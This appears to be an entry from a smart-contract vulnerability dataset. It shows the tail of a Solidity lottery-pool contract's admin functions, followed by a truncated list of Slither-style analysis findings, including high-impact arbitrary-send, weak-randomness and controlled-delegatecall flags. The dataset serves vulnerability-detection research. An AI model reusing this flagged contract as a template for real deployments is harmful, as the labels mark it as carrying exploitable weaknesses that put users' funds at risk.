lotteryRunMode = runMode;
// emitPoolStats();
}
/**
* Start a manual mode lottery from the previously set up
* next lottery config!
*/
function startManualModeLottery()
external
ownerApprovedAddressOnly
{
// Check if config is set - just check if initial funds
// are a valid value.
require( nextLotteryConfig.initialFunds != 0/*,
"Currently set next-lottery-config is invalid!" */);
// Launch a lottery using our private launcher function!
launchLottery( nextLotteryConfig );
emitPoolStats();
}
/**
* Set an Auto-Mode lottery run mode parameters.
* The auto-mode is implemented using Randomness Provider
* scheduled callback functionality, to schedule a lottery start
* on specific intervals.
*
* @param nextLotteryDelay - amount of time, in seconds, to wait
* when last lottery finishes, to start the next lottery.
*
* @param maxNumberOfRuns - max number of lottery runs in this
* Auto-Mode cycle. When it's reached, mode will switch to
* MANUAL automatically.
*/
function setAutoModeParameters(
uint32 nextLotteryDelay,
uint16 maxNumberOfRuns )
external
ownerApprovedAddressOnly
{
// Set params!
autoMode_nextLotteryDelay = nextLotteryDelay;
autoMode_maxNumberOfRuns = maxNumberOfRuns;
// emitPoolStats();
}
/**
* Starts an Auto-Mode lottery running cycle with currently
* specified Auto-Mode parameters.
* Notice that we must be on Auto run-mode currently.
*/
function startAutoModeCycle()
external
ownerApprovedAddressOnly
{
// Check that we're on the Auto-Mode block.timestamp.
require( lotteryRunMode == LotteryRunMode.AUTO/*,
"Current Run Mode is not AUTO!" */);
// Check if valid AutoMode params were specified.
require( autoMode_maxNumberOfRuns != 0/*,
"Invalid Auto-Mode params set!" */);
// Reset the cycle iteration counter.
autoMode_currentCycleIterations = 0;
// Start the Auto-Mode cycle using a scheduled callback!
scheduledCallback( 0 );
// emitPoolStats();
}
/**
* Set or Remove Owner-approved addresses.
* These addresses are used to call ownerOnly functions on behalf
* of the OWNER_ADDRESS (more detailed description above).
*/
function owner_setOwnerApprovedAddress( address addr )
external
ownerOnly
{
ownerApprovedAddresses[ addr ] = true;
}
function owner_removeOwnerApprovedAddress( address addr )
external
ownerOnly
{
delete ownerApprovedAddresses[ addr ];
}
/**
* ABIEncoderV2 - compatible getter for the nextLotteryConfig,
* which will be retuned as byte array internally, then internally
* de-serialized on receive.
*/
function getNextLotteryConfig()
external
view
returns( Lottery.LotteryConfig memory )
{
return nextLotteryConfig;
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Retrieve the UnClaimed Prizes of a completed lottery, if
* that lottery's prize claim deadline has already passed.
*
* - What's payable? This function causes a specific Lottery to
* transfer Ether from it's contract balance, to our contract.
*/
function retrieveUnclaimedLotteryPrizes(
address payable lottery )
external
ownerApprovedAddressOnly
mutexLOCKED
{
// Just call that function - if the deadline hasn't passed yet,
// that function will revert.
Lottery( lottery ).getUnclaimedPrizes();
}
/** PAYABLE [ IN ] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
*
* Retrieve the specified amount of funds from the Randomness
* Provider.
*
* WARNING: Future scheduled operations on randomness provider
* might FAIL if randomness provider won't have enough
* funds to execute that operation on that time!
*
* - What's payable? This function causes the Randomness Provider to
* transfer Ether from it's contract balance, to our contract.
*/
function retrieveRandomnessProviderFunds(
uint etherAmount )
external
ownerApprovedAddressOnly
mutexLOCKED
{
randomnessProvider.sendFundsToPool( etherAmount );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Send specific amount of funds to Randomness Provider, from
* our contract's balance.
* This is useful in cases when gas prices change, and current
* funds inside randomness provider are not enough to execute
* operations on the new gas cost.
*
* This operation is limited to 6 ethers once in 12 hours.
*
* - What's payable? We send Ether to the randomness provider.
*/
function provideRandomnessProviderFunds(
uint etherAmount )
external
ownerApprovedAddressOnly
mutexLOCKED
{
// Check if conditions apply!
require( ( etherAmount <= 6 ether ) &&
( block.timestamp - lastTimeRandomFundsSend > 12 hours )/*,
"Random Fund Provide Conditions are not satisfied!" */);
// Set the last-time-funds-sent timestamp to block.timestamp.
lastTimeRandomFundsSend = uint32( block.timestamp );
// Transfer the funds.
address( randomnessProvider ).transfer( etherAmount );
}
/**
* Set the Gas Price to use in the Randomness Provider.
* Used when very volatile gas prices are present during network
* congestions, when default is not enough.
*/
function setGasPriceOfRandomnessProvider(
uint gasPrice )
external
gasOracleAndOwnerApproved
{
randomnessProvider.setGasPrice( gasPrice );
}
/**
* Set the address of the so-called Gas Oracle, which is an
* automated script running on our server, and fetching gas prices.
*
* The address used by this script should be able to call
* ONLY the "setGasPriceOfRandomnessProvider" function (above).
*
* Here, we set that address.
*/
function setGasOracleAddress( address addr )
external
ownerApprovedAddressOnly
{
gasOracleAddress = addr;
}
} | [] | [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7688]}}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2725]}}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7778]}}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1912, 1913, 1911]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5980, 5981, 5982, 5983]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6089, 6090, 6091, 6092]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5693, 5694, 5695]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [7040, 7041, 7042, 7043, 7044, 7045, 7046, 7037, 7038, 7039]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5024, 5025, 5026, 5027, 5028, 5029, 5023]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5952, 5953, 5954, 5955, 5956, 5957, 5958, 5959, 5960, 5950, 5951]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4982, 4983, 4984, 4985, 4986]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [5001, 5002, 5003, 5004, 5005, 5006, 5007]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [4932, 4933, 4934, 4935, 4936, 4937]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6139, 6140, 6141, 6142, 6143]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6113, 6114, 6115, 6116, 6117, 6118, 6119, 6120, 6121]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1741]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6805]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6842]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6849]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6875]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6869]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6958]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6781]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6817]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6951]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6800]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6828]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6947]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6852]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6811]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6856]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6814]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6823]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6831]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6955]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6839]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6835]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [6876]}}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [7030, 7031]}}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6912, 6911]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5219, 5220, 5221]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5643, 5644, 5645, 5646, 5647, 5648, 5649, 5650, 5651]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5072, 5073, 5074, 5075, 5076, 5077, 5078]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5251, 5252, 5253, 5254, 5255, 5256, 5257]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5068, 5069, 5070]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5523, 5524, 5525, 5526, 5527]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [480, 481, 482, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5496, 5497, 5498, 5499, 5500, 5501, 5502, 5503]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5472, 5473, 5474, 5475, 5467, 5468, 5469, 5470, 5471]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5583, 5584, 5585, 5586, 5587, 5588, 5589]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5785, 5786, 5787]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5888, 5889, 5890, 5891, 5892, 5893, 5894, 5895, 5896, 5879, 5880, 5881, 5882, 5883, 5884, 5885, 5886, 5887]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5457, 5458, 5459, 5460, 5461, 5462, 5463, 5464, 5465]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5600, 5601, 5602, 5603, 5604, 5605, 5599]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5267, 5268, 5269, 5270, 5271, 5272, 5273]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5554, 5555, 5556, 5557, 5558, 5559]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5561, 5562, 5563, 5564, 5565, 5566]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5376, 5377, 5372, 5373, 5374, 5375]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5854, 5855, 5856, 5857, 5858, 5859, 5860, 5861, 5862, 5863, 5864, 5865, 5866, 5867, 5868, 5869, 5870, 5871, 5872, 5873, 5874, 5875, 5876, 5877]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5088, 5085, 5086, 5087]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [6144, 6145, 6146, 6147, 6148, 6149, 6150, 6151, 6152, 6153, 6154, 6155, 6156, 6157, 6158, 6159, 6160, 6161, 6162, 6163, 6164, 6165, 6166, 6167, 6168, 6127, 6128, 6129, 6130, 6131, 6132, 6133, 6134, 6135, 6136, 6137, 6138, 6139, 6140, 6141, 6142, 6143]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5351, 5352, 5353, 5354, 5355, 5356]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5096, 5094, 5095]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5547, 5548, 5549, 5550, 5551, 5552]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5568, 5569, 5570, 5571, 5572, 5573]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5850, 5851, 5852]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5333, 5334, 5335, 5336, 5337]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5734, 5735, 5736, 5737, 5738, 5739, 5740, 5741, 5742, 5743, 5744, 5745, 5746, 5747, 5748, 5749, 5750, 5751, 5752, 5753, 5754, 5755]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5505, 5506, 5507, 5508, 5509, 5510, 5511, 5512]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5575, 5576, 5577, 5578, 5579, 5580, 5581]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5387, 5388, 5389, 5390, 5391, 5392, 5393]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5312, 5313, 5314, 5315, 5316, 5309, 5310, 5311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [256, 257, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5227, 5228, 5229, 5230, 5231, 5232, 5233]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5440, 5441, 5442, 5443, 5444, 5445, 5438, 5439]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5300, 5301, 5302, 5303, 5304, 5305, 5306, 5307]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5781, 5782, 5783]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5339, 5340, 5341, 5342, 5343]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5487, 5488, 5489, 5490, 5491, 5492, 5493, 5494]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [224, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5821, 5822, 5823]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5616, 5617, 5618, 5619, 5620, 5621, 5622, 5623]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [24, 25, 26, 27]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5345, 5346, 5347, 5348, 5349]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5607, 5608, 5609, 5610, 5611, 5612, 5613, 5614]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5395, 5396, 5397, 5398, 5399, 5400, 5401]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5898, 5899, 5900, 5901, 5902, 5903, 5904, 5905, 5906, 5907, 5908]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5379, 5380, 5381, 5382, 5383, 5384, 5385]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [237, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5318, 5319, 5320, 5321, 5322, 5323, 5324, 5325]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5447, 5448, 5449, 5450, 5451, 5452, 5453, 5454, 5455]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5825, 5826, 5827, 5828, 5829, 5830, 5831, 5832, 5833, 5834, 5835, 5836, 5837, 5838, 5839, 5840, 5841, 5842, 5843, 5844, 5845, 5846, 5847, 5848]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5327, 5328, 5329, 5330, 5331]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5789, 5790, 5791]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5673, 5674, 5675, 5676, 5677, 5678, 5679, 5680, 5681]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [200, 201, 202]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5420, 5421, 5422, 5423, 5424, 5425, 5426, 5427]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5365, 5366, 5367, 5368, 5369, 5370]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5283, 5284, 5285, 5286, 5287, 5288, 5289]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5664, 5665, 5666, 5667, 5668, 5669, 5670, 5671, 5663]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5429, 5430, 5431, 5432, 5433, 5434, 5435, 5436]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5653, 5654, 5655, 5656, 5657, 5658, 5659, 5660, 5661]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5291, 5292, 5293, 5294, 5295, 5296, 5297, 5298]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5793, 5794, 5795, 5796, 5797, 5798, 5799, 5800, 5801, 5802, 5803, 5804, 5805, 5806, 5807, 5808, 5809, 5810, 5811, 5812, 5813, 5814, 5815, 5816, 5817, 5818, 5819]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5536, 5537, 5538, 5539, 5535]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5358, 5359, 5360, 5361, 5362, 5363]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5632, 5625, 5626, 5627, 5628, 5629, 5630, 5631]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5408, 5409, 5403, 5404, 5405, 5406, 5407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5529, 5530, 5531, 5532, 5533]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5259, 5260, 5261, 5262, 5263, 5264, 5265]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5280, 5281, 5275, 5276, 5277, 5278, 5279]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5760, 5761, 5762, 5763, 5764, 5765, 5766, 5767, 5768, 5769, 5770, 5771, 5772, 5773, 5774, 5775, 5776, 5777, 5778, 5779, 5757, 5758, 5759]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5411, 5412, 5413, 5414, 5415, 5416, 5417, 5418]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5235, 5236, 5237, 5238, 5239, 5240, 5241]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5591, 5592, 5593, 5594, 5595, 5596, 5597]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5477, 5478, 5479, 5480, 5481, 5482, 5483, 5484, 5485]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5541, 5542, 5543, 5544, 5545]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [5706, 5707, 5708, 5709, 5710, 5711, 5712, 5713, 5714, 5715, 5716, 5717, 5718, 5719, 5720, 5721, 5722, 5723, 5724, 5725, 5726, 5727, 5728, 5729, 5730, 5731, 5732]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2614, 2615]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8048, 8046, 8047]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [3552, 3553, 3554, 3555, 3556, 3557, 3558]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2816, 2814, 2815]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1534, 1535]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2676, 2677, 2678]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2273]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2624, 2625]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [3939, 3940]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2786]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [1568, 1569]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2848, 2849, 2850, 2851]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2699, 2700]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [4790, 4791]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [2836, 2837, 2838]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"UniLotteryPool.sol": [8138, 8139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [352, 353, 354, 355, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4073, 4074, 4075, 4076, 4077, 4078]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4095]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [8073, 8074, 8075, 8076, 8077, 8078, 8079]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [388, 389, 390, 391]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [369, 370, 371, 372]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [7206, 7207, 7208, 7209, 7210, 7211, 7212, 7213, 7214, 7215, 7216, 7217, 7218, 7219, 7220, 7221, 7222, 7223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [8352, 8353, 8354, 8355, 8356, 8347, 8348, 8349, 8350, 8351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [7104, 7105, 7106, 7107, 7108, 7100, 7101, 7102, 7103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"UniLotteryPool.sol": [5210, 5211, 5212]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": 